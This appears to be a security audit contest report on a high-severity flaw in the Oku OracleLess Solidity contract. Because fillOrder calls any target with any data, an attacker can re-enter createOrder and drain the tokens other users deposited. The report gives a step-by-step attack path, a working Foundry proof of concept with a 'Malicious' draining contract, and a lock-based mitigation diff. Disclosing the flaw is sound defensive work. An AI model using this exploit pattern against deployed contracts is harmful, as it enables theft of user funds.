Elegant Jade Chameleon

High

# Random bad actor will steal user funds from `OracleLess` contract

High

### Summary

Allowing users to fill orders with arbitrary target and txData supplied as params will put users funds at risk. 
This report explores one such scenario: 

- Not restricting calls to functions that increase `OracleLess` contract token balance while an order is being executed in [`OracleLess::execute`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L227), will allow a random attacker to steal all user deposited tokens. These target functions are [`OracleLess::createOrder`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38) and [`OracleLess::modifyOrder`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L80). This issue is also seen in the `Bracket` contract and the `StopLimit` contract `performUpkeep`. 

### Root Cause

The choice to rely on external calls to arbitrary targets with arbitrary data for filling orders is a bad decision as a malicious user can take advantage of that to steal other users' tokens.



### Internal pre-conditions

1. At least one order needs to be unprocessed and pending. The contract should hold some amount of user tokens.

### External pre-conditions

nil

### Attack Path

1. Attacker calls `OracleLess::createOrder` to create an order with `tokenOut` set to the token they want to steal and the `minAmountOut` set to just under the `tokenOut` balance of the contract (even just a difference of 1 is valid).
2. Attacker creates a malicious contract they will use to fill the above created order. The attack function calls `OracleLess::createOrder` to create an order with `tokenIn` set to the specified `tokenOut` of the attackers above order, and `amountIn` set to the just above the `minAmountOut` specified by the attacker above (even just a difference of 1 is valid). This second order should have the attacker set as the `recipient`.
3. Attacker gets the `pendingOrderIdx` and `orderId` for the order they directly created.
4. Attacker fills the order by calling `OracleLess::fillOrder` with `target` param set to the above malicious contract and `txData` param set as the call data for the attack function.
5. Attacker cancels the second order created by the malicious contract and receives a refund of tokens that aren't supposed to be theirs.

### Impact

The `Oracleless` contract allows anyone to fill orders. It also allows calls that alter the contract's balances to be made without any restrictions. An attacker could take advantage of these two facts to manipulate the contract token balances and steal tokens from the contract.

### PoC

 ```solidity
import {Test, console2} from "forge-std/Test.sol";
import {AutomationMaster} from "../../contracts/automatedTrigger/AutomationMaster.sol";
import {IAutomation, IPermit2} from "../../contracts/automatedTrigger/IAutomation.sol";
import {OracleLess, IOracleLess} from "../../contracts/automatedTrigger/OracleLess.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {TestERC20} from "./TestERC20.sol";

contract TestForge is Test {
    IERC20 tokenIn;
    IERC20 tokenOut;

    address owner = makeAddr("owner");
    AutomationMaster automationMaster;
    OracleLess oracleless;
    IPermit2 permit2;

    function setUp() public {
        //18 is number of decimals
        tokenIn = IERC20(address(new TestERC20(18)));
        tokenOut = IERC20(address(new TestERC20(18)));

        //perform necessary owner tasks
        vm.startPrank(owner);
        automationMaster = new AutomationMaster();
        permit2 = IPermit2(address(15));
        oracleless = new OracleLess(automationMaster, permit2);
        vm.stopPrank();
    }

function testFundsCanBeDrainedFromOracleless() public {
        //1. users create orders and have tokens in oracleless
        address user1 = makeAddr("user1");
        address user2 = makeAddr("user2");
        address user3 = makeAddr("user3");

        vm.startPrank(user1);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user1, 20, false, "");
        vm.stopPrank();

        vm.startPrank(user2);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user2, 20, false, "");
        vm.stopPrank();

        vm.startPrank(user3);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user3, 20, false, "");
        vm.stopPrank();

        uint256 oraclelessStartingBalanceTokenIn = tokenIn.balanceOf(address(oracleless));
        uint256 oraclelessStartingBalanceTokenOut = tokenOut.balanceOf(address(oracleless));

        //for math stuff
        uint256 balanceOfOraclelessContract = tokenIn.balanceOf(address(oracleless));

        //2. thief creates an order with a different token as tokenIn and the above users' token as tokenOut
        address thief = makeAddr("thief");
        vm.startPrank(thief);
        //tokens for first order
        TestERC20(address(tokenOut)).mint(10e18);
        tokenOut.approve(address(oracleless), 10e18);

        //tokens for second order created through malicious contract
        TestERC20(address(tokenIn)).mint(balanceOfOraclelessContract);
        tokenIn.approve(address(oracleless), balanceOfOraclelessContract);

        uint256 thiefStartingBalanceTokenIn = tokenIn.balanceOf(thief);
        uint256 thiefStartingBalanceTokenOut = tokenOut.balanceOf(thief);

        //create first order with a little less than contract balance as `minAmountOut`
        uint96 orderId = oracleless.createOrder(tokenOut, tokenIn, 1e18, balanceOfOraclelessContract - 1, thief, 0, false, "");

        //thief gets their pendingOrderIdx
        IOracleLess.Order[] memory ordersArray = oracleless.getPendingOrders();
        require(ordersArray.length < type(uint96).max);
        uint96 pendingOrderIdx = uint96(ordersArray.length - 1);
        
        //3. thief calls fillOrder for first order with malicious target and function data passed into txData, then cancels their second order afterwards to collect refund
        Malicious target = new Malicious(address(oracleless), address(tokenIn), address(tokenOut), 1e18, balanceOfOraclelessContract);
        bytes memory txData = abi.encodeWithSelector(Malicious.attack.selector);

        //Execute
        oracleless.fillOrder(pendingOrderIdx, orderId, address(target), txData);
        oracleless.cancelOrder(target.orderId());

        uint256 thiefFinalBalanceTokenIn = tokenIn.balanceOf(thief);
        uint256 thiefFinalBalanceTokenOut = tokenOut.balanceOf(thief);

        uint256 oraclelessFinalBalanceTokenIn = tokenIn.balanceOf(address(oracleless));
        uint256 oraclelessFinalBalanceTokenOut = tokenOut.balanceOf(address(oracleless));

        console2.log("Oracleless starting tokenIn balance", oraclelessStartingBalanceTokenIn);
        console2.log("Oracleless final tokenIn balance", oraclelessFinalBalanceTokenIn);
        console2.log("Oracleless starting tokenOut balance", oraclelessStartingBalanceTokenOut);
        console2.log("Oracleless final tokenOut balance", oraclelessFinalBalanceTokenOut);
        console2.log("Thief starting tokenIn balance", thiefStartingBalanceTokenIn);
        console2.log("Thief final tokenIn balance", thiefFinalBalanceTokenIn);
        console2.log("Thief starting tokenOut balance", thiefStartingBalanceTokenOut);
        console2.log("Thief final tokenOut balance", thiefFinalBalanceTokenOut);
        vm.stopPrank();

        assertLt(oraclelessFinalBalanceTokenIn, oraclelessStartingBalanceTokenIn);
        assertEq(oraclelessStartingBalanceTokenOut, oraclelessFinalBalanceTokenOut);
        assertGt(thiefFinalBalanceTokenIn, thiefStartingBalanceTokenIn);
        assertEq(thiefStartingBalanceTokenOut, thiefFinalBalanceTokenOut);
    }
}

// malicious contract
contract Malicious {
    OracleLess oracleless;
    address owner;

    IERC20 tokenIn;
    IERC20 tokenOut;

    uint256 amountIn;
    uint256 amountOut;
    uint96 public orderId;
    constructor(address _oracleless, address _tokenIn, address _tokenOut, uint256 _amountIn, uint256 _amountOut) {
        oracleless = OracleLess(_oracleless);
        owner = msg.sender;
        tokenIn = IERC20(_tokenIn);
        tokenOut = IERC20(_tokenOut);
        amountIn = _amountIn;
        amountOut = _amountOut;
    }

    function attack() public {
        tokenOut.transferFrom(address(oracleless), owner, amountIn);
        orderId = oracleless.createOrder(tokenIn, tokenOut, amountOut, amountOut, owner, 20, false, "");
    }
}

```

### Mitigation

Consider a different logic for fulfilling user orders. In the case of the above scenario: 

Add locks to `createOrder` and `modifyOrder`.
```diff
contract OracleLess is IOracleLess, Ownable, ReentrancyGuard {
    using SafeERC20 for IERC20;
   .
   .
   .
+   bool public noOrderExecuting = true;
   .
   .
   .
   function createOrder(
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint16 feeBips,
        bool permit,
        bytes calldata permitPayload
    ) external override returns (uint96 orderId) {
+       require(noOrderExecuting, "Create order not allowed while executing existing order");
   .
   .
   .
   function modifyOrder(
        uint96 orderId,
        IERC20 _tokenOut,
        uint256 amountInDelta,
        uint256 _minAmountOut,
        address _recipient,
        bool increasePosition,
        bool permit,
        bytes calldata permitPayload
    ) external override {
+       require(noOrderExecuting, "Modify order not allowed while executing existing order");
   .
   .
   .
   function execute(address target, bytes calldata txData, Order memory order)
        internal
        returns (uint256 amountOut, uint256 tokenInRefund)
    {
+       noOrderExecuting = false;
        .
        .
        .       
+       noOrderExecuting = true;
    }
```